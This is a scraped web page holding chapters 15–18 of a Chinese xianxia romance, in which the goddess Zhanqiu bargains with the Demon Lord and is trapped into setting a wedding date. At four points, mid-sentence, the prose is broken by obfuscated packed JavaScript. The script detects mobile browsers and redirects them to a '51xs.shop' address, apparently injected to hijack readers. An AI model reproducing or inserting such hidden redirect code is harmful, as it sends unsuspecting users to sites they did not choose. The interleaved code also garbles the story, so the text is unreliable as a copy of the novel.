0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283015|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下能与安儿放下成见结成善果,定能成为一段佳话。” 听着元离神尊如同长辈一般关心的口吻,斩秋不禁心生感慨。裘安虽然失去了生母,但是在这世上仍有诸多真心关爱他之人。只可惜,他根本不懂得珍惜,众人在他眼中,皆是助他扶摇直上的棋子。 她虽这么想着,面上却仍做足了功夫,并未将她对裘安的鄙夷表露出来:“神尊所言,晚辈都记住了。您待二殿下当真是如师如父,叫人好生羡慕。” 后面那句话的确发自真心。 曾经玄焰真神待她亦是如此。如果可以,她也不想与裘安争到你死我活的地步,毕竟他也是玄焰真神的血脉。 只是有些事,注定无法让步。 - 缥缈境的白昼很短,转瞬天便黑了下来。 彼时沉宁殿内点满了明灯,斩秋站在廊下,双手抱环注视着不远处沉静的池水。 月光与灯火一同洒在池面,璀璨如星,却因静止显得死气沉沉。不觉抬手捏一道轻风拂去,将池水掠起涟漪,点点星光是时随之摇曳有了生气。 望着泛起波澜的水面,斩秋的眼眸却一点点暗了下来,脑海中蓦然闪过今日城墙之下赤龙那张得意的面庞。 百里及春突然命人将元疏送到缥缈境来,此事本就奇怪。加之他是得天宫内应相告才知晓她回到了缥缈境,那他就也该知道裘安是与她一起回来的。 明知裘安在此若看到她与魔族来往可能引起误会,为何偏偏还要在这个节骨眼上将元疏送来? 想到这里,斩秋心中油然升起一股不妙的预感。 白日里她忙于应对这突如其来的变故,未仔细考虑其中原委。如今认真回想,方觉古怪。 要她将元疏留在身边无非两种选择,一是带回天宫,二是留在缥缈境。可如今她与裘安一并来的缥缈境,她断没有不打声招呼便独自先回天宫的道理,否则定会引起裘安的怀疑。 所以她只能将人暂时藏于缥缈境中,然而裘安就居于外城,要将人带进来,就只能通过密道。 “密道”二字从脑海中浮现的刹那,斩秋的神色倏然一沉,旋即转身朝内城密道的方向奔去。 待行至密道入口前,斩秋来不及多想,很快屏息阖目,双手合于胸前画下一诀,随后从袖间掏出短匕划过指尖。 只见血珠大颗大颗向下垂落,落地的刹那,无数红线拔地而起朝空中飞去,又朝着中心聚集交织,宛如一张巨大的网。 彼时她又飞速捏出另一道诀朝前推去,顷刻间所有的红都褪去了颜色化作一片虚无,只余一阵白光朝下闪过。 就在阵法还差最后一笔时,她的身后陡然响起一道玩味的声音,听得她身躯一震。 “筋杀阵。” 来者话声散漫,语调中透着慵懒的笑意,扬声道。 “看来斩秋上神是没打算给本座留活路啊。” 15. 第15章 斩秋缓缓转过身去,视线迎上声音的主人。 月光斜打在他身上,落入发丝间散着银色的光。只见他双手抱环倚在墙边,朱唇轻抿成一道好看的弧度,漾着令人目眩的笑容。 可这抹笑落在斩秋眼中却分外碍眼。 “魔尊误会了,我倒是没想过会是你亲自前来。” “是吗?”百里及春慵懒的目光随意地落在斩秋身上,似乎并不在意她话中真假。 反倒是斩秋目不转睛地盯着他看,好像欲从中窥探出什么一般。 譬如他此番前来的用意。 他故意挑在这个时候将元疏送来,为的是借此窥探密道的位置。只是他为何要这么做?若是有事要与她说,何故不派人传消息与她,偏偏要选这么一个充满威胁意味的法子。 斩秋略一思忖,问:“你如此大费周章却未带一兵一卒前来,应是没有打算与我缥缈境为敌罢?” 她与百里及春并无过节,如今又与他有交易在身,他没有理由攻打缥缈境。 可转念一想,缥缈境毕竟地势特殊、易守难攻,又是整个仙界中离天宫最近的一方地界,若是百里及春有意与天宫为敌,很难不对此地动心。 疑问抛出,后者却迟迟不答,惹得斩秋蹙眉又补上一句:“别忘了你我之间乃是合作的关系。” “自然。”百里及春回道。 斩秋这才松了眉毛,直了直身板将手负于身后:“所以你此番前来到底想做什么?” 但见他仍是一副云淡风轻的模样,转首望向一旁的枯树,看了好一会儿才轻飘飘地问了句:“你何时回天宫?” 这话问得没头没尾,斩秋朝他看去,面露不解。 “就在这几日,怎么了?” “本座与你一同前去。”百里及春突然转回头来,回望进她满是狐疑的眸子里。 “……”斩秋被他大胆的提议说得愣了神。 回过神后再看他时,才发现他的神情不再散漫,反倒有几分坚定。 她忽然意识到他这句话是认真的,不禁眸光微震:“你疯了?”停顿片刻后坚定回绝,“不可能。” 哪怕她对天宫再怎么不屑一顾,也绝不能亲手为其带去隐患。 百里及春看出她的想法,不由放下环抱的手臂朝她走来:“本座知道你在顾忌什么,但如果本座答应你,你所想之事不会发生呢?” “我凭什么相信你?”斩秋冷着脸,心觉他的提议荒唐至极。 “也是。”他顾自点点头,眉宇划过一瞬莫名的落寞。再抬眼时,已是一片清明,“既然承诺不管用,那便换一个吧。” “你若不答应,本座这就回去将濯奇杀了。”他轻声询问,“可好?” 说完根本没打算听斩秋的回答,转身作势离去。 见状,斩秋眼色一暗,手中不知何时多了一把锋利的短刀,刹那间便架在了百里及春白皙秀颀的颈上。 “你当我缥缈境是你想来就来,想走便走的么?” 斩秋不常用刀,出手不知深浅,很快便将他颈间划出一道血痕。 颈上轻微的刺痛感渐渐传来,百里及春停下脚步平视着前方的院墙,语气中听不出什么情绪:“你能拦得住本座吗?” “若在其他地界,我或拦不住你。但魔尊殿下可别忘了,眼下这是在缥缈境。” 话声刚落,未持刀的那只手便朝旁抬起,指尖轻转调弄着什么,只见周身阵光四起,无一片空白之地。 缥缈境内处处布有迷阵,虽然内城的迷阵尚未启动,但只要她动动手指,便可尽数开启。 百里及春却忽地笑了:“斩秋上神真是好生威风。” 顷刻间,他话锋一转,“不过你当真以为本座是孤身前来么?” 斩秋闻言一怔:“什么意思?” 只见他尚笑着,抬手抵上刀刃轻轻向外推去。斩秋一时迟疑不定未有反抗,手臂就这样被他推开缓缓垂落于身侧。 百里及春不紧不慢地侧过身来,对上她凝滞的面容:“押送完元疏以后赤龙没有离开。他也入了缥缈境,眼下,应该在……” 他话语一顿,随后说出了让她心寒如冰的三个字:“沉宁殿。” “不可能。夜里我一直待在沉宁殿,若有异样我定会察觉。”她果断回道,然而神情却不如语气那般坚定。 “是吗?若他先你一步潜于殿中呢?” 如今灵衫尚未完全恢复,若赤龙的修为与灵衫相当,或许真的可以做到不让其发觉地潜入殿中。 而她确实在元疏与裘安那耽误了一些时间方才回到沉无殿,若那时赤龙便已在殿内,那她的确不会有所察觉。 想到这里,斩秋的脸色逐渐僵硬,看向百里及春的眼神也阴戾起来:“你威胁我?” “本座亦不想走到这一步。” “魔尊消息这样灵通,想必知晓上一个拿灵衫威胁我的人是什么下场吧?” “自然。”百里及春好似并未发觉此间二人的氛围应已到达剑拔弩张的地步,不咸不淡地回答。 “斩秋上神重情重义,实在令本座钦佩。只是你原本就还欠本座一个条件,只要你答应此事,你我之间的账便就此抵消,如何?” “百里及春,你究竟想做什么?”斩秋拧着眉,目中沁着森凉,一字一句地问道。 “不过是想去见一个朋友,你不必如此提防。说不定等到了天宫,你还会有需要本座帮忙的地方。” 见她犹豫不定,他又迈前一步,语气严肃起来:“本座答应你,此行不会做出出格之事。” 他一边说着,一边慢条斯理地抬袖虚抚过颈间,被刀划出的伤痕转瞬愈合,没有留下任何痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283016|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹。 随后缓缓垂下眼,好整以暇地看着她,声音充满蛊惑之意:“斩秋,你在魔界时不是一直相信本座么。” “那便再信本座一次。” 斩秋望进他那一双幽深的墨眸里,袖中的双拳握得咯咯作响。 在魔界那一次,她让他不要杀元疏,根本不是出于相信,那分明是赌,赌他有利可图。这不,果真让她赌对了,如今他就上门讨要报酬来了。 可这一次不一样。 若他非要去天宫不可,那她就需要一个筹码,一个让他无法出尔反尔的筹码。 思忖之际,她忽然想到了什么,眼中闪过一道亮光:“好。我可以让你扮作缥缈境中人随我回天宫,但是我有一个条件。” 斩秋说着一改方才焦灼模样,从袖中掏出一只瓷瓶递到他面前:“你得服下这个。” “这是什么?” “放心,它并非毒药,而是一种抑制本源之力的丹药。” “然后呢?” 但见斩秋扬唇,笑得春风化雨:“服下后七日内形如凡人。” 凡人么?百里及春挑眉。 那段受尽屈辱却无能为力的日子,竟已是千年以前的事情了。他已习惯了如今这般将生杀予夺掌握在自己手里的感觉,倒是有些忘了无助是什么滋味。 “在天宫之上,想必也不会有什么危险,就算当真有何危险......”斩秋见他迟迟不语,以为他在犹豫此行安危,不由得上前,循循善诱道。 “我自会护着你。” 话音辄止,只见百里及春眼中滚过一抹光亮,好像想起了什么,忍不出轻声笑了出来。 “好。” - 青书院中,夜色朦胧。 轻风吹入帷幔,拂过裘安额间的碎发。他安静地躺在床上,呼吸平稳,罕见得有一夜好眠。 可他却做了一个怪梦。 梦中是他与斩秋初见时的模样,他站在万虚殿外,假意与其交善,一脸温柔谦逊的模样对她说道。 “虽是初次见面,但你我二人便已结下了这样的缘分。既如此,你我又同为上神,就互唤名字吧,你也别唤我什么二殿下了,可好?” 却见斩秋居高临下地睇他一眼,眉稍轻挑,丝毫不掩骄矜之气。 “陛下乃玄焰真神唯一的儿子,而我虽非真神所出,却由其抚养长大。尽管陛下比我年长了三万岁,可我曾经也是唤过他一声阿兄的。这样说,你可明白?” “你乃陛下之子,按辈分来算,你是要唤我一声姑姑的。” “既然你我成婚是真神生前所愿,我不会推辞。不过……” 说着目光在他身上上下打量了一番,露出一抹笑来,笑里含着说不尽的傲慢与讥弄,幽幽开口。 “我对你这种小孩儿,着实没有兴趣。” 16. 第16章 清晨,晨曦的光洒在了青书院的石子路上,一路向里铺去。此时殿门正敞开着,将淡淡的曙光领进室内,游走于静立在床榻边的男子脚下。 裘安很早便站在此处,视线落在床上还未苏醒的邬霖身上,脑海中浮现的却是梦里斩秋那张讥弄的脸。 他为何会做如此奇怪的梦?而且这个梦竟如此真实,就好像…… “殿……殿下。”身旁虚弱的声音突然响起,打断了他的思绪。 裘安回神,这才发觉邬霖已经苏醒,撑着手肘几欲起身。 他轻拂衣袖冲其摇了摇首,声音淡漠:“不必起来。” 邬霖闻言止了动作,却是急切地开口:“属下失察,中了计,不知是否连累了殿下?” 话落,裘安神情微动,并未吭声。后者见状登时了然,惭愧之意爬满了他那张本就苍白的脸。继而撑着坐起身,双手抱拳于胸前:“属下无能,请殿下责罚。” 裘安听罢微微敛眉,平日里他最不喜听到的便是认错这种无用之语,一时面色稍显不耐,双目也蒙上了一层薄薄的冷意。 “你已伤成这样,还要我怎么责罚?” 邬霖抱拳的双手一颤,手指不觉收得更紧了些,就这么举在半空不敢放下。 刹那间,殿内静得只剩下他的呼吸之音。 “罢了,说说那日究竟是怎么回事。”裘安见状轻叹一息,摆摆手道。 邬霖聚神回想那日的情形,慢慢叙来:“回殿下,那日属下查完回元之事回来,入朝云门时已是丑时。是以属下并未往朝云殿去寻殿下,而是打算返回席月斋。返回途中察觉到廊下有人,属下追去一看,发现来者居然是斩秋上神。” “斩秋上神被属下发现后面色慌张,匆忙往东而去。属下以为她做了什么对殿下不利之事,欲抓个现行,于是继续追了过去。孰料方一追至东门便无法移动,这才发现自己已置身一片结界之中。” “属下知道自己中了计,本欲破阵,可全身经脉被锁,动不得分毫。再然后……只觉胸口一阵剧痛,就……就此没了意识。” “嗯。”裘安听完面无表情地颔首,沉吟道,“能在你去往席月斋的必经之路上设伏,说明她对朝云宫的布局甚是了解。” 可她不是刚回九重天么,如何做到对他宫中布局了如指掌的? 朝云宫在他入主之前乃是一座空殿,本是天帝为他母神所留,就算千年前斩秋仍在天宫,也不可能常去此地。 思忖半晌无果,裘安没再细想,转头问道:“回元呢,查到什么了?” “属下在万器卷宗里的确查阅到回元二字,只是未注明其为何物。不过卷宗里记载到,一千年前,陛下正是此物最后经手之人……” 邬霖话语一顿,抬眸低声问道:“殿下不如亲自问问陛下?兴许能得答案。” 裘安缓缓转过身去,不置可否。过了半晌,只吩咐他一句好生修养便提步而去。 出了青书院,他在门外随意指了一名侍者过来,对其问了句:“斩秋在何处?” “殿下此刻应在沉宁殿中。”侍者玲珑回道。 “带路。” “……”玲珑闻言身形微震,面露难色,半晌才怯生生道,“沉宁殿乃内城宫殿,旁人无召不可擅入。” “哦?你再看看,本殿也算是旁人么?” 裘安的话随意抛落,却渗着道不尽的寒意。 分明是叫人抬眼瞧他,可话一落地便教玲珑狠狠埋下了头,目光不敢抬起半分,浑身不受控制地颤抖着。 她自然知晓眼前之人的身份,其乃天宫二殿下,亦是与自家殿下定有婚约之人。 可在缥缈境中,侍者唯一侍奉的神主唯有斩秋。没有她的命令,不能擅带任何人进入内城。 更何况内城法阵密布,就算她有这个胆子将天宫二殿下带过去,也没那个胆子承受他因此受伤或者比此更严重的后果。 眼下她这进也不是,退也不是。 早知这天宫二殿下是如此脾性,她今日就不该答应帮云雀的忙,替她前来侍候。玲珑心下愤愤悔道。 就在她以为自己短短百年的仙途就将要在此处尽断时,身后传来一阵足音,随之而来的还有一道熟悉的声音。 “你欲寻我,遣人传话便是。无召不入内城乃我缥缈境的规矩,二殿下何苦因此为难她?” 玲珑应声回首,如同看见救星一般,夺步奔向斩秋,待至其身旁委屈巴巴地轻唤了一声:“殿下!” 斩秋安抚性地拍了拍她的肩膀,柔声道:“你先下去罢。” “是。”玲珑说完便脚底抹油似的,飞快逃离了这个是非之地。 “你寻我有何事?”斩秋朝裘安走近两步,负手问道。 后者没有搭话,深幽的目光带着几分审视的意味在她清冷的面上盘旋。 与昨夜梦中的模样…… “一点儿也不像。” 如此莫名其妙的话轻声落下,听得斩秋一头雾水:“你说什么?” “没什么。”裘安露出一抹极淡的笑,说起正事,“邬霖醒了。” 斩秋过来本就是为了询问此事,听他主动提及不由眉眼舒展,欲早些回到天宫与天帝禀明退婚一事:“好。何时启程?” “三日后吧。”裘安轻描淡写地回着。 听他说完,斩秋轻轻颔首,不欲久留。 孰料转身时身后再度传来裘安的声音。 “对了,有一件事令我有些好奇。” 她驻足回首:“何事?” “邬霖说他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283017|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在朝云宫内中伏。”裘安的话未说尽,似乎是在点她。 斩秋闻言挑眉,知道他接下来要说什么,在她设伏之际就已想到这个结果。像他这般谨慎之人,一定会细细询问邬霖当日的情形,不放过其中任何错漏之处。 只可惜这一次,他眼中所谓的“错漏”,是她有意为之。 裘安本以为她会着急辩解,抑或是故作无知,却没想到她只是平静地看着自己。 在她那双清澈的眼瞳中,他仿佛看出了几分轻视挑衅之意。 似乎在说着:“那又如何?” 此刻裘安骤然恍悟。 ——她是故意的。 想要对邬霖不利,分明有许多可以动手之地,譬如在他去往岭遥台与师尊传信的路上。又或是像他对付灵衫这般,将邬霖诱使到自己的地盘,中伤其后再将其丢回朝云宫。 可她不是。她在朝云宫中将邬霖耍得团团转。 这分明是在通过此事告诉他,就算是在他的地盘,她想要动手,也是易如反掌。 裘安双拳紧握,面色紧绷得像是在克制着什么情绪,寒声道:“斩秋,这是你的警告吗?” 话音甫落,但见她静如止水的面庞忽然绽出一抹笑,笑中掺着三分在她脸上不常见到的揶揄:“二殿下言重了。” 她说着缓缓敛起笑容,朝裘安走近一步,意味深长道:“只要二殿下日后离我和我的人远点便好。” - 转眼已是三日后,众人启程返回天宫。 只是来时的五人如今变成了六人,惹得裘安朝斩秋那旁的飞辇望去。 此时斩秋身旁除了灵衫,还添了一名女子。诚然,她想要从缥缈境中多带一名仙侍回到天宫侍奉也没什么不妥,只是那名女子他见过,乃是玲珑。 奇怪的是,几日前的玲珑虽仍旧是这副面庞,但是身形吗...... 有这么高么? 注视半晌,裘安的唇边漫出一丝寒凉的笑意,仿佛明白了什么。随后收回了目光,与元离、邬霖一同进入车辇。 斩秋站在飞辇前,看着眼前百里及春的模样,难免有些忍俊不禁。 说到底还是她的化形术太过糟糕,只能换容不能换形。 早前她下界游玩时向来以真容示人,直到有一日在人间醉酒,醒来后父神告诉她她惹了大祸。 虽不知父神口中的祸端是什么,但她瞧父神那羞愧愤恼的表情,便知是自己又给父神丢脸了。从那以后她便暗下决心,再出去“闯祸”时,一定不能以真面目示人。 可惜她只顾着给自己换一张脸,从未想过要换一副身体,是以对此术未曾细细钻研。 与此同时,百里及春正低头看她,声音冷冷地洒下来。 “好笑么?” 17. 第17章 斩秋闻言正了正色,很快钻入飞辇中。灵衫与百里及春也随之上去。 坐定后,一直沉着脸的百里及春忽然开口,语气不咸不淡:“裘安方才看这边了。” “我知道。”斩秋轻轻抬眸,“你如今的模样,想不惹他怀疑也是挺难的。” “不过我本来也不在乎他是否发觉有异。就算他知道这张皮囊之下并非玲珑又如何?只要不知道是你百里及春便好。” 斩秋挪了挪身子钻到飞辇角落寻了个舒服的姿势,双腿交叠,一副准备小憩的模样。 她眯眼打了个哈欠,又道:“反正只要他看破不说破就行了。” “你倒是很信任他。” 信任?斩秋挑眉,昏昏欲睡的眼里划过一丝冷笑。未几转过头去,面对着车壁阖上了眼。 “如果了解也算一种信任的话,也可以这么说。他此时此刻一定想着,要怎么利用这个机会来对付我呢。” 她的口吻轻松,似乎对于即将面临的危险并不关心,又或是对于如何处理潜在的危机胸有成竹。 百里及春尚不知她属于前者还是后者,一双幽瞳就这么盯着她懒散又不设防的姿态,深思游走。 一炷香后,九重天宫。 斩秋是被灵衫唤醒的,醒过神时眼底闪过一缕惊讶。 没想到这么短的路途她竟真的睡着了。 同样感到诧异的还有灵衫,回想这些时日,殿下唯一的安枕之日便是在魔界的那一夜。思及此,目光若有若无地扫向一旁的百里及春,神色晦暗不明。 仅一瞬,灵衫便已移开视线,安静地守在斩秋身后朝南天门而去。 入南天门时,守护天门的天将神色有些古怪,好像盼着他们回来一般。 就在斩秋感到今日天宫气氛有异时,更奇怪的一幕出现了。 只见裘旭大步流星地走来,神情凝重地看着他们:“斩秋,安儿,你们都随我去万虚殿。” 万虚殿?难道是陛下唤他们过去? 虽说她回天宫后原本打算做的第一件事就是去万虚殿,和陛下禀明她与裘安退婚一事。但是陛下怎么会主动寻他们,莫非他已经知道了? 可裘安待在缥缈境内的几日无法向外界传递消息,陛下又如何会知晓? 一时心中思绪万千,斩秋忽觉不安,上前询问:“出了何事?” 裘旭循声看她,眼里闪过一抹厉色,并未回答她的问题,只道了一句:“随我一去便知。” 许是心中忐忑,从前走了无数遍的通往万虚殿的路,今日显得尤为漫长。 还未踏入殿门,便远远地瞧见殿堂之上跪着一名女子。 女子一身素衣,凌乱的乌发散落于后遮挡了她的身形。仅是背影,斩秋辨认不出女子来历。待入殿后行至女子右侧,方才认出了她。 斩秋眉头一皱,察觉到不对,表情瞬间凝重起来。依她以往的经验,凡事只要与涂千羽沾上边,绝对没好事。 感知到身旁动静的涂千羽抬起头,如同抓住了救命稻草一般对斩秋唤道:“殿下!殿下救我!” 短短几个字,从她的口中道出却添了几分暧昧。 斩秋侧目看她:“你与我很亲近么?你知道你这样做于我意味着什么吗?” 她尚且不知涂千羽因何罪被押于此,但无论她犯了何事,此番突如其来的求情无异于将她陷入与其同谋的难堪境地。 “殿下……我……我……”涂千羽虚弱的脸上有明显的闪躲,支支吾吾半晌也未道出一句完整的话。 斩秋冷着脸朝她迈近一步,居高临下地睇着眼前这个看似无辜柔弱的女子:“你好大的胆子,竟敢攀咬到我身上来。” 她的声音不大,可其中寒意却足以威慑后者。 涂千羽身形一僵,反应过来后连忙垂下脑袋,伏地颤栗,叠声请罪:“殿下,殿下饶命……我没有……” 斩秋没有理会她的讨饶,轻轻侧回身来面向正前方垂首行礼,目光向下,脸上看不出什么表情:“陛下,我与此女无甚交集,亦不知她犯了何事。” “既然不知她犯了何事,何必这么早就撇清关系呢。”回应她的不是天帝,而是站立在她身旁的裘安。 她转首望去,却见裘安并未看她,而是饶有趣味地盯着垂首伏地的涂千羽。 说来奇怪,裘安这几日分明与她一起在缥缈境待着,理应与她一样对天宫发生之事一概不知。 可为何面对眼前这莫名其妙的一幕,他却神色轻松,一副事不关己、甚至有几分看好戏的模样。 唯有她不明所以。 “此女是旭儿从幽境阵眼中带回来的,”一直未吭声的天帝忽然启口,“这些时日,旭儿命人安排了一出好戏,将锁魂塔埋在幽境深处的消息放了出去,为的就是引那与魔族勾结之人现身。” 天帝说完又看向斩秋,一脸柔和,“秋儿,朕唤你前来并非怀疑你与此女有何关系,朕知道,幽境之事你也出了力。只不过此女对于她为何出现在幽境闭口不言,唯独说要见你,还说你能证明她的身份。” 斩秋听完明白过来,原来涂千羽今日是被当作勾结魔族的奸细押于此地的。 可那日误入幽境阵法的人不是灵衫吗?她破阵将灵衫救出之后阵便已毁,哪来的法力困束后来之人? 诸多疑问从斩秋脑海冒出,思忖一番过后,心下有了答案。她终于知晓为何裘安在面对今日一事时能如此淡定了。 斩秋再次将目光投向裘安,而这一次他也回应了她的视线。 只见他的眉梢不着痕迹地轻扬了一下,眼底藏着鄙薄的笑意,好似挑衅。 这一切都是裘安一手安排的。 可眼下斩秋来不及思考他设此局的目的是什么,抬手作礼道:“陛下明鉴,我并不知涂千羽为何会出现在幽境。但若说起她的身份……” “一千年前我下界游历,经过涂隐山时正巧遇见了被赶出山门的涂千羽。那时的她浑身是伤,仙元受损。我见其可怜,便将她带回了天宫医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283018|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 治。” “据我所知,她的确是涂隐山弟子,至于她为何被赶出涂隐山,我未曾问过。将她带回天宫之后亦没见过面,因此有关她更多的事……” 斩秋抬起眼,话声平静:“我一概不知。” “不,不是这样的!”涂千羽拼命摇首,见斩秋不留半点情面,随即眉头一拧,大声道,“殿下,前几日我们在执月阁见过!” 若涂千羽不提起,斩秋倒是真要忘了她们在执月阁外见过一面,她还将涂千羽罚到乘安殿跪着。 涂千羽莫不是为了报那一日跪地之罚才非要将她拖下水罢,可她又为何会与裘安扯上关系? 斩秋心中思索着,一时出神没有作出回应。 然而“执月阁”这几个字眼落入天帝耳畔,不禁令其微微眯眸:“秋儿何时去了执月阁?” “就是从魔界归来那日。”身旁的裘安抢先一步替她答道。 话音落下,她终于回过神来,登时心底一紧。 天帝本就多疑,那日从魔界回来后也交代过,调查与魔族勾结的奸细一事交给裘旭去处理,她和裘安不必插手。 而她却在那日去了执月阁,还与妙云要走了名册。如此俨然违背了天帝的命令,这是不争的事实。 此事裘安与裘旭都知晓,亦知道她此举是为了什么,可他们未必会在这个节骨眼帮她辩白。 裘旭向来疼爱裘安这个弟弟,自是不愿看到他被搅进自己这趟浑水中。 而她也不愿将妙云牵扯进来。 就在斩秋心下思考如何编造一天衣无缝的借口时,裘安上前一步,走到她身侧接着说道:“父皇,那日是我与斩秋一同前去的。” “哦?你们去执月阁做什么?”天帝挑眉,含笑问道。那张和蔼的面庞虽带着笑,可那笑里却透着一丝微不可察的寒意。 “回父皇,儿臣是为了查阅记载有关上古神器苍竹的古籍。您有所不知,那日在魔界,斩秋与儿臣被他们带入了遗光塔,然而在塔内斩秋却与儿臣走散了。” “遗光塔中机关重重,被锁塔中的又都是穷凶恶极之辈。斩秋虽擅武,但终究因为这些年为真神守灵耗费不少神力,又没有一件称手的法器在身,故而险些被那些关在塔中的魔族伤到。” “经此一事,儿臣便想到了苍竹。传言苍竹乃上古利器,哪怕是修为不高之人也能驱使,且其一旦认主,便有护体之效。儿臣想要寻得苍竹赠予斩秋。一来是为了让她自保,二来则是想要以此为聘。” “此事儿臣事先没有告知父皇,是儿臣的错。只因儿臣与斩秋虽有婚约,却未定婚期,故而不好大肆张扬。不过今日既然说起此事,儿臣以为,择日不如撞日,儿臣与斩秋的婚期是否可以就此商定下来?” 话声甫落,斩秋身形一震,犹如五雷轰顶,不可置信地看向裘安。 但见他施施然转过头来,目中含笑将话抛给她,分明温润的声音却宛如一泼凉水从她头顶浇下。 “斩秋,你觉得呢?” 18. 第18章 诚然,就算她将实情说出,于她而言也非但毫无益处,反倒会牵连帮助她的妙云。更何况这也证明不了她与涂千羽毫无瓜葛,只会在天帝心中埋下一个猜忌的种子。 可要让她硬着头皮朝裘安递来的台阶往下下,她不甘心。 思及此,她不由双拳紧握,克制着身体因愤怒而产生的颤抖,衣领之下细嫩的脖颈也逐渐泛起青筋。 “哈哈哈哈,我儿当真是长大了。”天帝听罢颔首大笑,俨然将涂千羽一事抛之脑后,视线一扫,落在了斩秋身上。 见她脸色苍白,不免有些好奇,“秋儿为何瞧着并不欢喜?” 斩秋闻言垂目,她好不容易从裘安手中拿到的退婚书,如今便是废纸一张了。 这叫她如何笑得出来。 可眼下并不是算账的时候,她需要冷静,此事并非没有转圜的余地。只要婚期一日未定,便有一日的机会。 遂抬起眼,淡然回道:“二殿下既说了要以苍竹为聘,眼下还未寻得苍竹,婚期之事亦无需急于这一时。” 她话语委婉,却尽显回绝之意。 察觉到她的态度,天帝眉间不着痕迹地轻皱了一下。 斩秋是他看着长大的,他也一直将其视作家人宠爱,可谓九重天上除了天后以外最为尊贵的神女。 她是有挑拣的资格,但在此婚事上不行。 哪怕他再不重视裘安,那也是他的儿子,如何能让旁人瞧轻了去。 天帝犹笑着,声音却没了先前的温度:“秋儿说得也不错,既然如此,你们的婚期便待安儿找到苍竹之后再定罢。” “谢陛下恩典。”斩秋拱手道。 了却一事,重心又回到幽境一案上,天帝敛起笑容,神情又恢复以往的威严冷厉,朝下方跪着的涂千羽说道。 “朕已如你所愿将斩秋请来,可这并未替你洗去任何嫌疑。如今你还有何话要说?若你就此如实招来,朕或许可以网开一面。” 涂千羽身体颤抖着,头微微侧了一下,低垂的目光似乎在寻找裘安的身影,不过很快便收了回去,蓦地叩首在地。 她细微的动作旁人没有瞧见,却被斩秋尽收眼底,不禁眉眼一冷。 “还是什么都不肯说么?”天帝逐渐失了耐心,眼底尽是被愚弄的怒意,长袖一挥,轻描淡写地便下了旨意,“将她押入罪仙塔。待她何时肯开口了,便何时放出来。” 涂千羽闻言猛地抬首,如梦初醒一般,拼了命地摇头,哭喊着求天帝开恩。 罪仙塔是什么地方,但凡被关入罪仙塔之人,就没有一个能从里面完整无缺地走出来的。说得好听是关押罪徒之处,实则乃是一个活地狱。 然而任凭她怎么哭喊,天帝都恍若未闻,直接起身离开了大殿。 一直立在一旁的裘旭见天帝离开,也不打算过多停留。本欲上前与裘安一道离开,腿脚却在迈出一步后生生停了下来。 哪怕他再迟钝,也能看出此刻裘安与斩秋之间的氛围古怪。是以默默调转了方向,先行离去。 一时间宽阔的大殿中央只剩下斩秋与裘安。 二人都没说话,殿内陷入了一阵异样又绵长的沉默。 不知过了多久,斩秋率先开口打破了这段沉寂:“涂千羽是你安排的。” 她的语气并非质问,而是在阐述事实。 “是。”裘安漫不经心地勾起唇角,似乎并没有在她面前掩藏的打算。 “你为何要这样做?” 为何这样做? 裘安挑眉,他原本的确是想给斩秋一些教训。哪怕父皇并不会全然相信涂千羽的一面之辞,也势必会在心中对斩秋有所猜忌。 猜忌既生,便会如杂草般疯长,父皇予她的优待便再也回不到从前。一来,可以搓搓她的锐气。二来,可以顺势将此作为日后推辞这门婚事的理由。 可不知为何,方才在斩秋面对父皇的质问沉默无言,明明仅差一步便棋局已定时,他却动摇了。 脑海忽然闪过那日她向自己提出退婚的画面,还有那日她让自己离她远点时厌恶的表情,心下登时改变了主意。 他知道,是逆反心在作祟。 “你权当我是觉得有趣罢。神生漫漫,总要寻些乐子打发才是。” 听见他这般无所谓的口吻,将婚事当作打发时光的乐子,斩秋的眉眼又冷了几分:“那涂千羽呢,她又为何会不惜以性命为代价地配合你?” “我自是开出了足以让她豁出性命的条件。” 斩秋听罢忽然长长笑了一声,像是听见什么不得了的笑话一般,原来性命在他眼里也是可以随便交易的筹码。 再抬眼时,迎上他冷峻又疑惑的眼神,斩秋敛眉低声咒道:“裘安,你简直有病。” 在他那日陷害灵衫入逆生阵时她就应该猜到。她为了救灵衫出去破了阵法,阵法被破却无人落网于阵中,那裘安与裘旭要如何与陛下交代? 自然是找一个替罪羊。 而那人便是涂千羽。 